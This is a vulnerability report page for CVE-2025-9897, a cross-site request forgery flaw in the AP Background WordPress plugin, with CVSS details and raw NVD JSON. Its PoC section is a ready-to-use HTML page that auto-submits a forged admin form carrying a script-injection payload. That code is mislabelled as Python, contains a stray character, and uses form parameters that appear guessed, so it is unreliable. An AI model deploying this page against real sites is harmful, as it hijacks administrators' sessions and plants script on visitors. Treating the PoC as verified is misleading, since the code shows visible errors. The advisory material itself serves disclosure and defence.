Security Vulnerability Report
中文
CVE-2025-9897 CVSS 4.3 MEDIUM

CVE-2025-9897

Published: 2025-10-03 12:15:51
Last Modified: 2026-04-15 00:35:42

Description

The AP Background plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.2. This is due to missing or incorrect nonce validation on the advParallaxBackAdminSaveSlider function. This makes it possible for unauthenticated attackers to create or modify background sliders via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

AP Background插件 <= 3.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-9897 CSRF PoC for WordPress AP Background Plugin --> <!-- This PoC demonstrates how to exploit the missing nonce validation --> <!-- in advParallaxBackAdminSaveSlider function --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-9897</title> n</head> <body> <h1>Loading...</h1> <!-- CSRF attack form targeting the vulnerable endpoint --> <form id="csrf-form" action="http://target-wordpress-site.com/wp-admin/admin.php" method="POST" enctype="multipart/form-data"> <!-- The action parameter that triggers advParallaxBackAdminSaveSlider --> <input type="hidden" name="action" value="advParallaxBackAdminSaveSlider" /> <!-- Slider configuration parameters --> <input type="hidden" name="slider_title" value="Malicious Slider" /> <input type="hidden" name="slider_alias" value="malicious-slider" /> <input type="hidden" name="slider_type" value="parallax" /> <input type="hidden" name="slider_status" value="published" /> <!-- Malicious content that could be used for stored XSS --> <input type="hidden" name="slider_content" value="<script>alert('XSS via CSRF')</script>" /> <!-- Additional slider settings --> <input type="hidden" name="slider_width" value="100%" /> <input type="hidden" name="slider_height" value="500" /> <input type="hidden" name="slider_effect" value="slide" /> <!-- Submit button (auto-submitted via JavaScript) --> <input type="submit" value="Submit" /> </form> <script> // Auto-submit the form when the page loads // This will send the request with the admin's session cookies document.getElementById('csrf-form').submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9897", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:50.647", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AP Background plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.2. This is due to missing or incorrect nonce validation on the advParallaxBackAdminSaveSlider function. This makes it possible for unauthenticated attackers to create or modify background sliders via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ap-background/tags/3.8.2/includes/functions.admin.php#L135", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f6f12812-3c14-41c1-b14b-af84f835a773?source=cve", "source": "[email protected]"}]}}